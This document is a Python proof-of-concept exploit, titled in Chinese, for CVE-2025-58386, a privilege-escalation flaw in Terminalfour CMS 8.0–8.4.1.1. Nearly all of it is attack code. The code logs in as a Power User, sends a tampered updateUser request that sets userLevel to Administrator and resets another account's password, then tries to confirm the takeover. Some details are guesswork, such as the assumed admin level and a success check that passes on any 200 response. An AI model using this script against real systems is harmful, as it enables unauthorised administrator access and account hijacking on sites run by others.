CVE-2025-58386 Terminalfour用户管理权限提升漏洞

import requests import re # CVE-2025-58386 PoC - Terminalfour Privilege Escalation # Target: Terminalfour CMS 8.0 - 8.4.1.1 # Vulnerability: Insecure userLevel parameter in user management target_url = "http://target-server/terminalfour/" # Step 1: Login as Power User login_url = target_url + "LoginServlet" credentials = { "username": "poweruser", "password": "PowerUserPass123" } session = requests.Session() response = session.post(login_url, data=credentials) # Step 2: Get valid session token session_token = session.cookies.get('JSESSIONID') # Step 3: Intercept and modify user management request user_mgmt_url = target_url + "UserManagerServlet" # Original request (Power User promoting own account) original_data = { "action": "updateUser", "userId": "100", "userLevel": "2", # Original: Power User level "password": "" } # Modified request (Escalating to Administrator) escalated_data = { "action": "updateUser", "userId": "101", # Target: lower-privileged user "userLevel": "1", # Modified: Administrator level (typically 1) "password": "HackedPass123!" # Optional: reset password } headers = { "Cookie": f"JSESSIONID={session_token}", "Content-Type": "application/x-www-form-urlencoded" } # Step 4: Send escalated request response = session.post(user_mgmt_url, data=escalated_data, headers=headers) # Step 5: Verify privilege escalation if response.status_code == 200: # Login with modified credentials to verify admin access admin_login = session.post(login_url, data={ "username": "targetuser", "password": "HackedPass123!" }) if "admin" in admin_login.text.lower() or admin_login.status_code == 200: print("[+] Privilege Escalation Successful!") print("[+] User 101 is now Administrator") else: print("[-] Escalation may have failed")